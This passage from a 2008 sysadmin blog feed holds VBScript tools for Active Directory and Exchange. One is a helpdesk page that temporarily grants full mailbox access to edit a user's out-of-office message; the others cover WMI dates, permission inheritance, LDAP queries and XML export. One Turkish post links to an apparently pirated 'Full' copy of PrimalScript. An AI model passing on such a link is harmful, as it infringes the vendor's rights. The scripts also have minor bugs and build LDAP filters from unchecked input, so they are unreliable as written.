  on error resume next
  set objMBXlist = createobject("scripting.dictionary")
  if err.number = 0 then
    on error goto 0
    strTrustee = getTrusteeName()
  else
    msgbox "Fatal Error - Could not create dictionary object." &#38; vbcrlf &#38; "Application will now close.", VBCRITICAL
    self.close()
  end if
  if strTrustee = "" then
    msgbox "Fatal Error - Could not get logged on user info." &#38; vbcrlf &#38; "Application will now close.", VBCRITICAL
    self.close()
  end if
  inorout.checked = False
end sub

'*****************************************************************************
'* function window_onload
'* Purpose: ensure the removal of access rights from all accessed mailboxes
'* terminate the application.
'* Inputs: none
'* Returns: nothing
'*****************************************************************************
sub window_onunload
  for each strPath in objMBXlist.keys
    removeMbxRights strpath,objMBXlist.item(strPath)
  next
end sub

'*****************************************************************************
'* function getTrusteeName
'* Purpose: get the username and domain for the helpdesk staff to be added to
'* the access control list on the users
'* Inputs: none
'* Returns: String in the format domain\username
'*****************************************************************************
function getTrusteeName
  on error resume next
  Set WshNetwork = CreateObject("WScript.Network")
  if err.number = 0 then
    getTrusteeName = WshNetwork.UserDomain &#38; "\" &#38; WshNetwork.UserName
  else
    getTrusteeName = ""
    err.clear
  end if
  on error goto 0
end function

'*****************************************************************************
'* function get_OOF_TEXT
'* Purpose: get the users current "Out of Office" Message into a text box
'* Inputs: none
'* Returns: nothing
'*****************************************************************************
sub get_OOF_TEXT
  disablecontrols(True)
  strProfileInfo = strExchsvr &#38; vbLf &#38; staffcode.value
  Set CDOSession = CreateObject("MAPI.SESSION")
  on error resume next
  CDOSession.Logon "", "", False, True, 0, False, strProfileInfo
  if err.number = 0 then
    OOF_TEXT.value = CDOSession.OutOfOfficeText
    if CDOSession.OutOfOffice = True then
      inorout.checked = True
    else
      inorout.checked = False
    end if
    inorout.disabled = "false"
    CDOSession.Logoff
  else
    msgbox "Error logging on to mailbox." &#38; vbcrlf &#38; err.number &#38; vbcrlf _
      &#38; err.description &#38; vbcrlf &#38; _
      "Wait a few minutes for AD permissions to replicate and try again!", VBCRITICAL
  end if
  on error goto 0
  Set CDOSession = Nothing
  disablecontrols(False)
end sub

'*****************************************************************************
'* function set_OOF_TEXT
'* Purpose: set the users current "Out of Office" Message from text box value
'* Inputs: none
'* Returns: nothing
'*****************************************************************************
sub set_OOF_TEXT
  disablecontrols(False)
  strProfileInfo = strExchsvr &#38; vbLf &#38; staffcode.value
  Set CDOSession = CreateObject("MAPI.SESSION")
  on error resume next
  CDOSession.Logon "", "", False, True, 0, False, strProfileInfo
  if err.number = 0 then
    CDOSession.OutOfOfficeText = OOF_TEXT.value
    CDOSession.OutOfOffice = True
    inorout.checked = True
    inorout.disabled = "false"
    CDOSession.Logoff
  else
    msgbox "Error logging on to mailbox." &#38; vbcrlf &#38; err.number &#38; vbcrlf _
    &#38; err.description &#38; vbcrlf &#38; _
    "Wait a few minutes for AD permissions to replicate and try again!", VBCRITICAL
  end if
  on error goto 0
  Set CDOSession = Nothing
  disablecontrols(False)
end sub

'*****************************************************************************
'* function finduser
'* Purpose: perform active directory query
'* Inputs: none
'* Returns: nothing
'*****************************************************************************
sub finduser()
  Set objConnection = CreateObject("ADODB.Connection")
  objConnection.Open "Provider=ADsDSOObject;"
  Set objCommand = CreateObject("ADODB.Command")
  objCommand.ActiveConnection = objConnection

  ' search for the users staffcode from accounts that aren't disabled
  objCommand.CommandText = _
    "&#60;GC://dc=acme,dc=com,dc=au&#62;;" &#38; _
    "(&#38;(&#38;(objectClass=user)(objectCategory=person))(&#38;(samaccountname=" &#38; staffcode.value &#38; _
    ")(!userAccountControl:1.2.840.113556.1.4.803:=2)));" &#38; _
    "name,adspath,msExchHomeServerName;subtree"

  Set objRecordSet = objCommand.Execute
  if objRecordSet.recordcount &#62; 1 then
    intRetcode = msgbox("Error - More than one active account with staffcode " &#38; _
      staffcode.value &#38; " found!" &#38; vbcrlf &#38; "List ldap path of accounts?",VBCRITICAL+VBYESNO)
    if intRetcode = VBYES then
      do While Not objRecordset.EOF
        Set objOption = Document.createElement("OPTION")
        objOption.Text = objRecordset.Fields("adspath")
        objOption.Value = objRecordset.Fields("adspath")
        SearchResults.Add(objOption)
        objRecordset.MoveNext
      loop
      SearchResults.style.visibility ="Visible"
    else
      SearchResults.style.visibility ="Hidden"
    end if
    exit sub
  end if
  if objRecordSet.recordcount = 0 then
      msgbox "Failed to find staffcode in active directory" &#38; VBCRLF &#38; "Check the staffcode is correct", VBCRITICAL
      exit sub
  end if
  intRetcode = msgbox("StaffCode " &#38; staffcode.value &#38; " found!" &#38; vbcrlf &#38; _
    "Grant full control to mailbox for " &#38; strTrustee,VBINFORMATION+VBYESNO)
  if intRetcode = VBNO then
    setbutton.disabled = "True"
    getbutton.disabled = "True"
    inorout.disabled = "True"
    inorout.checked = False
    exit sub
  end if
  do While Not objRecordset.EOF
    strExchsvr = objRecordset.Fields("msExchHomeServerName")
    arrTemp = split(strExchsvr, "=")
    strExchsvr = arrtemp(ubound(arrtemp))
    strPath = replace(objRecordset.Fields("adspath"),"GC://", "LDAP://")
    objRecordset.MoveNext
  loop
  objConnection.Close
  if setMbxRights(strPath, strTrustee) = True then
    setbutton.disabled = "false"
    getbutton.disabled = "false"
  end if
end sub

'*****************************************************************************
'* function disablecontrols
'* Purpose: activate/de-activate controls as appropriate to application state
'* Inputs: none
'* Returns: nothing
'*****************************************************************************
sub disablecontrols(booldisable)
  progress.style.visibility = "Visible"
  if booldisable = True then
    setbutton.disabled = "True"
    getbutton.disabled = "True"
    inorout.disabled = "True"
  else
    progress.style.visibility = "hidden"
    setbutton.disabled = "False"
    getbutton.disabled = "False"
    inorout.disabled = "False"
  end if
end sub

'*****************************************************************************
'* function setMbxRights
'* Purpose: add trustee to the users mailbox with full control
'* Inputs: string - the adspath of the users mailbox
'* string - the trustee's domain &#38; username, formatted domain\username
'* Returns: boolean, true if succesful
'*****************************************************************************
function setMbxRights(adspath,strTrustee)
  setMbxRights = False
  if not objMBXlist.exists(adspath) then objMBXlist.add adspath,strTrustee
  set objUser = GetObject(adspath)
  on error resume next
  Set oSecurityDescriptor = objUser.MailboxRights
  if err.number &#60;&#62; 0 then
    if err.number = 438 then
      msgbox "This application must be run on a workstation with" &#38; vbcrlf _
        &#38; "the exchange management tools installed!", vbcritical
      err.clear
      exit function
    else
      msgbox "Error getting mailbox security Descriptor." &#38; vbcrlf _
        &#38; err.description &#38; vbcrlf and err.number, vbcritical
      exit function
    end if
  end if
  on error goto 0
  Set dacl = oSecurityDescriptor.DiscretionaryAcl
  AddAce dacl, strTrustee, ADS_RIGHT_DS_CREATE_CHILD, _
    ADS_ACETYPE_ACCESS_ALLOWED, ADS_ACEFLAG_INHERIT_ACE, 0, 0, 0
  oSecurityDescriptor.DiscretionaryAcl = dacl
  ' Save new SD onto the user.
  objUser.MailboxRights = oSecurityDescriptor
  ' Commit changes from the property cache to the information store.
  objUser.SetInfo
  setMbxRights = True
end function

'*****************************************************************************
'* function removeMbxRights
'* Purpose: remove trustee from all mailboxes to which it was added
'* Inputs: string - the adspath of the users mailbox
'* string - the trustee's domain &#38; username, formatted domain\username
'* Returns: boolean, true if succesful
'*****************************************************************************
sub removeMbxRights(adspath,strTrustee)
  set objUser = GetObject(adspath)
  Set oSecurityDescriptor = objUser.MailboxRights
  Set dacl = oSecurityDescriptor.DiscretionaryAcl
  For Each ace In Dacl
    If (LCase(ace.trustee) = LCase(strTrustee)) and _
      ((ace.AccessMask AND ACE_MB_FULL_ACCESS)=ACE_MB_FULL_ACCESS) Then
      Dacl.RemoveAce ace
      MsgBox "Mailbox rights have been removed", VBINFORMATION
    End If
  Next
  oSecurityDescriptor.DiscretionaryAcl = dacl
  ' Save new SD onto the user.
  objUser.MailboxRights = oSecurityDescriptor
  ' Commit changes from the property cache to the information store.
  objUser.SetInfo
end sub

'********************************************************************
'* Code shamelessly copied from Microsoft KB310866
'* http://support.microsoft.com/kb/310866
'* Function AddAce(dacl, TrusteeName, gAccessMask, gAceType,
'* gAceFlags, gFlags, gObjectType, gInheritedObjectType)
'*
'* Purpose: Adds an ACE to a DACL
'* Input: dacl Object's Discretionary Access Control List
'* TrusteeName SID or Name of the trustee user account
'* gAccessMask Access Permissions
'* gAceType ACE Types
'* gAceFlags Inherit ACEs from the owner of the ACL
'* gFlags ACE has an object type or inherited object type
'* gObjectType Used for Extended Rights
'* gInheritedObjectType
'*
'* Output: Object - New DACL with the ACE added
'*
'********************************************************************

Function AddAce(dacl, TrusteeName, gAccessMask, gAceType, gAceFlags, gFlags, gObjectType, gInheritedObjectType)
  Dim Ace1
  ' Create a new ACE object.
  Set Ace1 = CreateObject("AccessControlEntry")
  Ace1.AccessMask = gAccessMask
  Ace1.AceType = gAceType
  Ace1.AceFlags = gAceFlags
  Ace1.Flags = gFlags
  Ace1.Trustee = TrusteeName
  'See whether ObjectType must be set
  If CStr(gObjectType) &#60;&#62; "0" Then
    Ace1.ObjectType = gObjectType
  End If

  'See whether InheritedObjectType must be set.
  If CStr(gInheritedObjectType) &#60;&#62; "0" Then
    Ace1.InheritedObjectType = gInheritedObjectType
  End If
  dacl.AddAce Ace1

  ' Destroy objects.
  Set Ace1 = Nothing
End Function

'*****************************************************************************
'* function setINOUT
'* Purpose: set the users OOF flag to activate/de-activate OOF processing
'* Inputs: none
'* Returns: nothing
'*****************************************************************************
sub setINOUT
  disablecontrols(True)
  strProfileInfo = strExchsvr &#38; vbLf &#38; staffcode.value
  Set CDOSession = CreateObject("MAPI.SESSION")
  on error resume next
  CDOSession.Logon "", "", False, True, 0, False, strProfileInfo
  if err.number = 0 then
    if inorout.checked = True then
      CDOSession.OutOfOffice = True
    else
      CDOSession.OutOfOffice = False
    end if
    CDOSession.Logoff
  else
    msgbox "Error logging on to mailbox." &#38; vbcrlf &#38; err.number &#38; vbcrlf _
      &#38; err.description, VBCRITICAL
  end if
  on error goto 0
  Set CDOSession = Nothing
  disablecontrols(False)
end sub
&#60;/SCRIPT&#62;

&#60;body&#62;
&#60;B&#62;Step 1. Enter the user's staff code&#60;/B&#62;&#60;P&#62;
&#60;input type="text" name="staffcode" size="30"&#62;
&#60;input id=srchbutton class="button" type="button" value="Search for User" name="set_text_button" onClick="finduser"&#62;
&#60;select size="5" name="SearchResults" style="Visibility:hidden"&#62;
&#60;/select&#62;
&#60;P&#62;&#60;P&#62;
&#60;B&#62;Step 2. Retrieve/Set the users Out of Office message&#60;/B&#62;&#60;p&#62;&#60;p&#62;
&#60;textarea name="OOF_TEXT" rows=5 cols=70&#62;&#60;/textarea&#62;&#60;p&#62;
&#60;input disabled id=getbutton class="button" type="button" value="Get Message" name="get_text_button" onClick="get_OOF_TEXT"&#62;
&#60;input disabled id=setbutton class="button" type="button" value="Set Message" name="set_text_button" onClick="set_OOF_TEXT"&#62;
&#60;input disabled id=inorout type="checkbox" name="InorOUT" value="IN" checked="False" onClick="setINOUT"&#62; I am currently out of the office
&#60;P&#62;
&#60;span id="Progress" style="visibility:Hidden"&#62;
Operation in progress - please wait&#38;nbsp;&#38;nbsp;&#38;nbsp;&#38;nbsp;&#60;img src="loading.gif" border="0" width="165" height="15"&#62;
&#60;/span&#62;
&#60;p&#62;&#60;p&#62;&#60;B&#62;Step 3. Send a test email&#60;/B&#62;&#60;p&#62;&#60;p&#62;
&#60;/body&#62;</code></pre>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Converting CIM or WMI datetime to System datetime]]></title>
<link>http://resourcefuladmin.wordpress.com/?p=41</link>
<pubDate>Mon, 06 Oct 2008 22:59:39 +0000</pubDate>
<dc:creator>boycie</dc:creator>
<guid>http://resourcefuladmin.com/2008/10/06/converting-cim-datetime-format/</guid>
<description><![CDATA[When you are working a lot with CIM and WMI, you will always come across a object that has a datetim]]></description>
<content:encoded><![CDATA[<p>When you are working a lot with CIM and WMI, you will always come across a object that has a datetime Value, to convert these datetime values to a more legible format you can use the below VBScript Function.</p>
<p>E.g.</p>
<p>To convert formatted value from,</p>
<p><em><strong>yyyymmddHHMMSS.mmmmmmsUUU </strong>to </em><em><strong>yyyy-mm-dd HH:MM:SS:mmm</strong></em></p>
<p>Function:</p>
<pre><span style="color:#3366ff;">Function DateConvert(CMIDate)
On Error Resume Next
Set DateTime = CreateObject("WbemScripting.SWbemDateTime")
DateTime.Value = CMIDate
DateConvert = DateTime.GetVarDate
Set DateTime = Nothing
End Function

</span></pre>
<p><span style="color:#3366ff;"><span style="color:#000000;">The below example will pull all "Error" event logs from the local computer and echo them to the shell. Each event log has its "TimeGenerated" property In <strong>CIM Format</strong>, they are converted to the <strong>VT_Date</strong> format using the above function before being echoed out.</span></span></p>
<p><span style="color:#3366ff;"><span style="color:#000000;">Example:</span></span></p>
<pre><span style="color:#3366ff;">Dim StrComputer
Dim ObjWMIService
Dim propValue
Dim objItem
Dim SWBemlocator
Dim UserName
Dim Password
Dim ColItems
UserName = ""
Password = ""
StrComputer = "."

</span><span style="color:#3366ff;">Set SWBemlocator = CreateObject("WbemScripting.SWbemLocator")</span><span style="color:#3366ff;">
Set objWMIService = SWBemlocator.ConnectServer(strComputer,"root\CIMV2",UserName,Password)
</span><span style="color:#3366ff;">Set colItems = objWMIService.ExecQuery("Select * from Win32_NTLogEvent WHERE "&#38;_</span>
<span style="color:#3366ff;">"LogFile = 'System' AND Type = 'Error'",,48)
</span><span style="color:#3366ff;">For Each objItem In ColItems</span><span style="color:#3366ff;">
Wscript.Echo DateConvert(objitem.TimeGenerated) &#38; "," &#38; objItem.ComputerName &#38; "," &#38;_
objItem.Logfile &#38; "," &#38; objItem.EventCode
Next</span><span style="color:#3366ff;">

Function DateConvert(CMIDate)</span><span style="color:#3366ff;">
On Error Resume Next</span><span style="color:#3366ff;">
Set DateTime = CreateObject("WbemScripting.SWbemDateTime")</span><span style="color:#3366ff;">
DateTime.Value = CMIDate</span><span style="color:#3366ff;">
DateConvert = DateTime.GetVarDate
End Function
</span></pre>
<p>See this <a title="Link" href="http://msdn.microsoft.com/en-us/library/aa393687(VS.85).aspx" target="_blank">Link</a> for MSDN information on the SWBemDateTime object.</p>
<p>Hope this Helps.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Finding users who are not Inheriting Rights]]></title>
<link>http://geekcroft.wordpress.com/?p=56</link>
<pubDate>Mon, 06 Oct 2008 11:54:06 +0000</pubDate>
<dc:creator>geekcroft</dc:creator>
<guid>http://geekcroft.ru.wordpress.com/2008/10/06/finding-users-who-are-not-inheriting-rights/</guid>
<description><![CDATA[Got a request from a support company, they have found multiple users who are not inheriting rights f]]></description>
<content:encoded><![CDATA[<p>Got a request from a support company, they have found multiple users who are not inheriting rights from above. These users are random, and he wanted a quick way to find (and therefore fix) the users effected. Screenshot below of the checkbox the users have mysteriously "unchecked";</p>
<div style="text-align:center;"><img src="http://geekcroft.files.wordpress.com/2008/10/vbscript0.jpeg" alt="VBScript0.jpeg" border="0" width="576" height="566" /></div>
<p>So I created a little script that will check users to see if they are set to inherit or not.</p>
<p>First, create a new folder. Get a list of all users in your AD (or a specific OU) by doing the following;</p>
<div style="text-align:center;"><img src="http://geekcroft.files.wordpress.com/2008/10/vbscript1.jpeg" alt="VBScript1.jpeg" border="0" width="615" height="86" /></div>
<p>Now, create a VBScript file with the following content;<br />
<strong><br />
<em>' This code will output all users who are currently NOT inhereting<br />
' Security from above.<br />
' Writted by Stephen Croft and Chris Stos-Gale from ANS<br />
'<br />
strtextfile = "objects.txt"<br />
Set objFSO = CreateObject("Scripting.FileSystemObject")<br />
Set objTextFile = objFSO.OpenTextFile(strtextfile, 1, False, 0)<br />
Const SE_DACL_PROTECTED = 0	' set to 0 to enable inheritance</p>
<p>Do<br />
	strobject = objTextFile.ReadLine<br />
	strobject = Mid(strobject,2,Len(strobject)-2)<br />
	Set objObject = GetObject("LDAP://" &#38; strObject)<br />
	Set objntSD = objObject.Get("nTSecurityDescriptor")<br />
	intNTSDControl = objNtSD.Control<br />
	If objntSD.Control = 39940 Then<br />
		WScript.Echo strobject &#38; "	Needs Changing"<br />
	End if</p>
<p>Loop  Until objtextfile.AtEndOfStream = True</em></strong></p>
<p>And save in the same folder as your objects.txt file that the first part created.</p>
<p>Now, back to command prompt for the following;</p>
<div style="text-align:center;"><img src="http://geekcroft.files.wordpress.com/2008/10/vbscript2.jpeg" alt="VBScript2.jpeg" border="0" width="620" height="51" /></div>
<p>Where test.vbs is your vbs file you created (obviously).</p>
<p>This will create a output txt file (test.txt in this matter) that is Tab Seperated (for Excel import) of all users who are <strong>NOT</strong> inheriting rights from above.</p>
<p>To change them to be inheriting, either pick through the list manually, or edit the VBS script slightly as per below;</p>
<p><strong><em>' This code will output all users who are currently NOT inhereting<br />
' Security from above.<br />
' Writted by Stephen Croft and Chris Stos-Gale from ANS<br />
'<br />
strtextfile = "objects.txt"<br />
Set objFSO = CreateObject("Scripting.FileSystemObject")<br />
Set objTextFile = objFSO.OpenTextFile(strtextfile, 1, False, 0)<br />
Const SE_DACL_PROTECTED = 0	' set to 0 to enable inheritance</p>
<p>Do<br />
	strobject = objTextFile.ReadLine<br />
	strobject = Mid(strobject,2,Len(strobject)-2)<br />
	Set objObject = GetObject("LDAP://" &#38; strObject)<br />
	Set objntSD = objObject.Get("nTSecurityDescriptor")<br />
	intNTSDControl = objNtSD.Control<br />
	If objntSD.Control = 39940 Then<br />
		intNTSDControl = intNTSDControl And SE_DACL_PROTECTED<br />
		objntSD.Control = intNTSDControl<br />
		objObject.Put "nTSecurityDescriptor", objntSD<br />
		objObject.SetInfo<br />
	End if</p>
<p>Loop  Until objtextfile.AtEndOfStream = True</em></strong></p>
<p>Obviously be careful with this, and don't hold me responsible if it breaks anything!!!</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[PrimalScript Enterprise 4 Full]]></title>
<link>http://0rkun.wordpress.com/?p=146</link>
<pubDate>Sun, 05 Oct 2008 13:01:55 +0000</pubDate>
<dc:creator>0rkun</dc:creator>
<guid>http://0rkun.ru.wordpress.com/2008/10/05/primalscript-enterprise-4-full/</guid>
<description><![CDATA[
PrimalScript, her türlü scriptleri yazabileceğini ve düzenleyebilecğeiniz, şiddetle tavsiyem ]]></description>
<content:encoded><![CDATA[<p><a href="http://img129.imageshack.us/img129/8003/primalscript2007fp9.jpg" target="_blank"><img src="http://img129.imageshack.us/img129/8003/primalscript2007fp9.th.jpg" border="0" alt="Free Image Hosting at www.ImageShack.us" /></a></p>
<p>PrimalScript, her türlü scriptleri yazabileceğini ve düzenleyebilecğeiniz, şiddetle tavsiyem olan bir editördür. Enterprise ve Full versiyonudur.<!--more--></p>
<p style="text-align:center;"><a href="http://plus.xdrive.com/media?p_id=XDPF-8943S0AqbUUsGV53lWtdNnhaEOyBS7uH"><strong>PrimalScript Enterprise 4 Full</strong></a></p>
<p class="MsoNormal" style="text-align:center;"><a href="http://0rkun.wordpress.com/2008/10/04/xdrive-sitesindeki-dosyalari-indirmek/">Dosya İndirmekte güçlük çekiyorsanız tıklayın.</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Export System Configurations to XML (using WMI)]]></title>
<link>http://chonglongchoo.wordpress.com/2008/10/05/export-system-configurations-to-xml-using-wmi/</link>
<pubDate>Sun, 05 Oct 2008 08:27:38 +0000</pubDate>
<dc:creator>chonglongchoo</dc:creator>
<guid>http://chonglongchoo.ru.wordpress.com/2008/10/05/export-system-configurations-to-xml-using-wmi/</guid>
<description><![CDATA[To export system configuration to XML format by using WMI.
DOWNLOAD
]]></description>
<content:encoded><![CDATA[<p>To export system configuration to XML format by using WMI.</p>
<p><a href="http://chonglongchoo.drivehq.com/WMI2XML.7z" target="_blank">DOWNLOAD</a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Converting XML Data to an HTML Email using XSLT]]></title>
<link>http://resourcefuladmin.wordpress.com/?p=39</link>
<pubDate>Sat, 04 Oct 2008 00:15:07 +0000</pubDate>
<dc:creator>boycie</dc:creator>
<guid>http://resourcefuladmin.com/2008/10/03/converting-xml-to-html-using-xslt-style-sheet/</guid>
<description><![CDATA[One way to spice up those HTML script generated emails is to utilize XML and XSLT.
I start by gather]]></description>
<content:encoded><![CDATA[<p>One way to spice up those HTML script generated emails is to utilize XML and XSLT.</p>
<p>I start by gathering the subject matter for the email and exporting the data into an XML formatted String.</p>
<p><a class="alignleft" title="Exporting a User Object to an XML File" href="http://resourcefuladmin.com/2008/10/03/exporting-an-ad-user-object-to-xml/" target="_blank">Exporting an AD User Object to XML</a></p>
<p> </p>
<p>Once you have the XML data in the String, still within the VBScript you use the XMLDOM object to convert the XML String into HTML using an XSLT style sheet. This enables you to take raw data and apply XPath logic to it. This also enables you to both enhance the look of your email and make it intelligent on the content selection. When completed, just pass the HTML formatted String into the email code for generating an email message.</p>
<p>XML to HTML Convertion Code,</p>
<pre><span style="color:#3366ff;">StrHTML = XMLtoHTML(StrXML,XSLTFile
Function XMLtoHTML(XML,XSLT)
On Error Resume Next
Dim xmldoc, xsldoc
Set xmldoc=CreateObject("Microsoft.XMLDOM")
Set xsldoc=CreateObject("Microsoft.XMLDOM")
xmlDoc.async="false" xmlDoc.loadXML(XML)
xslDoc.async="false" xslDoc.load(XSLT)
XMLtoHTML = xmlDoc.transformNode(xslDoc)
End Function</span></pre>
<p><span style="color:#000000;">Note: This is for formatting an XML source as a String. If using an XML file as the source, the syntax is slightly modified.</span></p>
<p><span style="color:#000000;">If you would like any more information on this or a more detailed Blog Post let me know.</span></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Querying Active Directory using LDAP and VBScript]]></title>
<link>http://resourcefuladmin.wordpress.com/?p=35</link>
<pubDate>Fri, 03 Oct 2008 22:22:22 +0000</pubDate>
<dc:creator>boycie</dc:creator>
<guid>http://resourcefuladmin.com/2008/10/03/querying-ad-using-ldap-and-vbscript/</guid>
<description><![CDATA[I have lost count of the amount of times I have queried Active Directory for an object and its prope]]></description>
<content:encoded><![CDATA[<p>I have lost count of the amount of times I have queried Active Directory for an object and its properties. As I routinely perform this operation, I wrote two convenience subroutines in VBScript.</p>
<p>I call these subroutines when opening and closing ADODB Sessions.</p>
<p>Note: The Strings 'oRoot,sBase,sDepth,Conn,Comm,sDomain' need to be PUBLIC Strings. (Declared at the top of the script.)</p>
<p>E.g.</p>
<pre><span style="color:#3366ff;">Dim oRoot,sDomain,Conn,Comm,sBase,sDepth</span></pre>
<p>When opening the session/connection you need to pass the "Context" of the container required.<br />
Once completed you just need to call the 'ADODisconnect' to clean up the connection.</p>
<p>See below.</p>
<pre><span style="color:#3366ff;">Sub ADOConnect(Context)
Set oRoot = GetObject("</span><span style="color:#3366ff;">LDAP://rootDSE</span><span style="color:#3366ff;">")
sDomain = oRoot.Get(Context)
Set oDomain = GetObject("LDAP://" &#38; sDomain)
Set Conn = CreateObject("ADODB.Connection")
Set Comm = CreateObject("ADODB.Command")
sBase = "&#60;" &#38; oDomain.ADsPath &#38; "&#62;"
sDepth = "subTree"
Conn.Provider = "ADsDSOObject"
Conn.Open "ADs Provider"
Comm.ActiveConnection = Conn
Comm.Properties("searchscope") = 100
Comm.Properties("Page Size") = 1000
Comm.Properties("Cache Results") = False
Comm.CommandTimeout = 15
End Sub</span>
<span style="color:#3366ff;">Sub ADODisconnect()
Set oRoot = Nothing
Set oDomain = Nothing
Set Conn = Nothing
Set Comm = Nothing
sDomain = ""
sBase = ""
sDepth = ""
End Sub</span></pre>
<p>An example of using these subroutines would be to connect to AD by passing the correct context to the ADOConnect Sub and then using an LDAP filter pull the displayName attribute from a user object.</p>
<p>Note: Replace "UserCN" with a valid user object 'common name'.</p>
<p>See Below.</p>
<pre><span style="color:#3366ff;">Dim oRoot,sDomain,Conn,Comm,sBase,sDepth
sFilter = "(cn=UserCN)"
Call ADOConnect("defaultNamingContext")
sAttribs = "distinguishedName"
sQuery = sBase &#38; ";" &#38; sFilter &#38;  ";" &#38; sAttribs &#38; ";" &#38; sDepth
Comm.CommandText = sQuery
 Set rs = Comm.Execute
  If Not rs.eof Then
   rs.MoveFirst
   Set oUser = GetObject("LDAP://" &#38; rs("distinguishedName") )
   WScript.Echo "User: " &#38; oUser.displayName
  Else
   Wscript.Echo "User Not Found"
  End If
Set oUser = Nothing
rs.close
ADODisconnect()
WScript.Quit

Sub ADOConnect(Context)
Set oRoot = GetObject("</span><span style="color:#3366ff;">LDAP://rootDSE</span><span style="color:#3366ff;">")
sDomain = oRoot.Get(Context)
Set oDomain = GetObject("LDAP://" &#38; sDomain)
Set Conn = CreateObject("ADODB.Connection")
Set Comm = CreateObject("ADODB.Command")
sBase = "&#60;" &#38; oDomain.ADsPath &#38; "&#62;"
sDepth = "subTree"
Conn.Provider = "ADsDSOObject"
Conn.Open "ADs Provider"
Comm.ActiveConnection = Conn
Comm.Properties("searchscope") = 100
Comm.Properties("Page Size") = 1000
Comm.Properties("Cache Results") = False
Comm.CommandTimeout = 15
End Sub

Sub ADODisconnect()
Set oRoot = Nothing
Set oDomain = Nothing
Set Conn = Nothing
Set Comm = Nothing
sDomain = ""
sBase = ""
sDepth = ""
End Sub</span></pre>
<p>Hope this helps.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Exporting an Active Directory User Object to XML]]></title>
<link>http://resourcefuladmin.wordpress.com/?p=18</link>
<pubDate>Fri, 03 Oct 2008 20:24:49 +0000</pubDate>
<dc:creator>boycie</dc:creator>
<guid>http://resourcefuladmin.com/2008/10/03/exporting-an-ad-user-object-to-xml/</guid>
<description><![CDATA[I always export out the users details to an XML file producing a &#8216;backup&#8217; of critical se]]></description>
<content:encoded><![CDATA[<p>I always export out the users details to an XML file producing a 'backup' of critical settings when I am scripting a solution to administer Active Directory accounts. If I need to restore an account, the resultant XML file could be easily leveraged with code to restore settings.</p>
<p>I often utilize this technique when I am disabling a users mailbox in Active Directory.  One step during the disablement process is to remove a users mail enabled group memberships; this limits delivery failures while the account is retained in AD for a cool off period.  The XML files created during the disablement process are kept until the account is removed from Active Directory.</p>
<p>To export a users details we use an ADODB connection to AD, and locate the users account using LDAP. Once the account is retained in a 'Record Set', you can save the appropriate properties into a String. The XML formatting is added to the String during the export of properties from the 'Record Set'. Once the String build is completed, the String is written to a file with a .XML extension.</p>
<p>This resultant file can then be parsed in the future using the XML-DOM object.</p>
<p>(I will go over an example of that in another article.)</p>
<p>So to the code,</p>
<pre><span style="color:#3366ff;">On Error Resume Next
Dim StrXML, XMLFile, OutFile, StrArg
Const ForReading = 1
Const ForWriting = 2
Set oFSO = CreateObject("Scripting.FileSystemObject")
StrXML = ""
StrXML = StrXML &#38; "&#60;?xml version="&#38;Chr(34)&#38;"1.0"&#38;Chr(34)&#38;_
" encoding="&#38;Chr(34)&#38;"UTF-8"&#38;Chr(34)&#38;"?&#62;"&#38;vbNewLine
StrArg = InputBox("Please Enter Users 'Common Name'","Input Request")
If StrArg = "" Then
Call MsgBox("'Common Name' was not entered.",16,"Status")
End If
StrXML = StrXML &#38; "&#60;UserDump Date = '"&#38;Now&#38;"'&#62;"&#38;vbNewLine
StrXML = StrXML &#38; GetUserData(StrArg)
StrXML = StrXML &#38; "&#60;/UserDump&#62;"&#38;vbNewLine
XMLFile = "C:\"&#38;StrArg&#38;"_"&#38;Month(Date)&#38;"_"&#38;Day(Date)&#38;"_"&#38;year(Date)&#38;"_"&#38;Hour(Time)&#38;"_"&#38;_
Minute(Time)&#38;".xml"
Set OutFile = oFSO.OpenTextFile(XMLFile,ForWriting,True)
OutFile.write StrXML
Function GetUserData(cn)
On Error Resume Next
Dim oRoot,sDomain,Conn,Comm,sBase,sDepth
Dim sAttribs, sQuery, sFilter, sData
sData = ""
Set oRoot = GetObject("</span><a href="//rootDSE"><span style="color:#3366ff;">LDAP://rootDSE</span></a><span style="color:#3366ff;">")
sDomain = oRoot.Get("defaultNamingContext")
Set oDomain = GetObject("LDAP://" &#38; sDomain)
Set Conn = CreateObject("ADODB.Connection")
Set Comm = CreateObject("ADODB.Command")
sBase = "&#60;" &#38; oDomain.ADsPath &#38; "&#62;"
sDepth = "subTree"
Conn.Provider = "ADsDSOObject"
Conn.Open "ADs Provider"
Comm.ActiveConnection = Conn
Comm.Properties("searchscope") = 100
Comm.Properties("Page Size") = 1000
Comm.Properties("Cache Results") = False
Comm.CommandTimeout = 15
If Err.Number &#60;&#62; 0 Then
Call MsgBox("Failed"&#38;vbNewLine&#38;"Error: "&#38;Err.Number&#38;vbNewLine&#38;"Description: "&#38;Err.Description,16,"Error")
Err.Clear
WScript.Quit
End If
sFilter = "(&#38;(objectCategory=person)(objectClass=user)(cn="&#38;cn&#38;"))"
sAttribs = "adspath" 'LDAP filter return attributes
sQuery = sBase &#38; ";" &#38; sFilter &#38;  ";" &#38; sAttribs &#38; ";" &#38; sDepth
Comm.CommandText = sQuery
Set rs = Comm.Execute 'Returned recordset
If Err.Number &#60;&#62; 0 Then
Call MsgBox("Search Failed.",16,"Error")
Else
End If
 If Not rs.EOF Then
  Do While Not Rs.EOF
  rs.MoveFirst
  Set oUser = GetObject(Rs.Fields("adspath"))
      sData = sData &#38; "&#60;ObjectCategory&#62;"&#38;oUser.objectCategory&#38;_
"&#60;/ObjectCategory&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;DistinguishedName&#62;"&#38;oUser.distinguishedName&#38;_
"&#60;/DistinguishedName&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;UserAccountControl&#62;"&#38;oUser.userAccountControl&#38;_
"&#60;/UserAccountControl&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;USNCreated&#62;"&#38;oUser.whenCreated&#38;_
"&#60;/USNCreated&#62;"&#38;vbNewLine
      sData = sData &#38; "&#60;LastChanged&#62;"&#38;oUser.whenChanged&#38;_
"&#60;/LastChanged&#62;"&#38;vbNewLine
